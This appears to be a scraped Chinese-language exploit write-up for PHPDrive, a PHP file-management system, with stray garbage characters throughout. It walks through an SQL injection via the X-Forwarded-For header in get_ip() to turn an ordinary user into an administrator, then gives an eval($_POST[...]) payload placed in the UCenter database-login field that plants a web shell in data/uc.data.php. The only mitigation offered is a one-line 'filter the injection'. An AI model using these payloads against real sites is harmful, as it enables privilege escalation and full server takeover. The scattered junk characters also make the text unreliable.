PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
2 z. M+ \- k2 k8 j* s" K- ^ F m A/ f! r
includes/user.lib.php
& z( \1 L2 Q* O行87
- l5 w& r! p3 X4 _4 _$ _: G5 M function get_ip() {
3 |8 S! L* B" o2 ] if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
$ w3 Z4 n; l" x) V在用户注册与登录 处module/disk/account.lead.php; k: r0 N. `4 m( K, \( l
198行
# C* b/ G3 C, ?; O% X/ c5 V' R //更新本次登录IP和时间4 O. v& Z" A& f
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
9 N) `( C! o/ L A* t由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限8 ~' F- w ^% f. M2 \7 k
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.6 r. W: U1 H& Y+ g/ U0 M) E5 j1 V
后台getshell:
* d* z8 G5 d$ m: E+ D在UCenter设置处,将UC数据库登录名填写为
5 X, O% m( d8 o# P) V$ q+ M
$ f" ?# [ a/ A6 Q9 S7 n L+ Jroot’);eval($_POST[DisKill]);?>/*
+ H# j) u8 `& a8 [可以得到一个shell,位置在 data/uc.data.php4 t* t3 d7 q. ?: q( h& |
. }) _. y" J: N6 q0 a0 C9 \修复:过滤注入% d$ l9 j8 y; |- G* F" @5 i
6 C& S* i& G3 [# V9 k |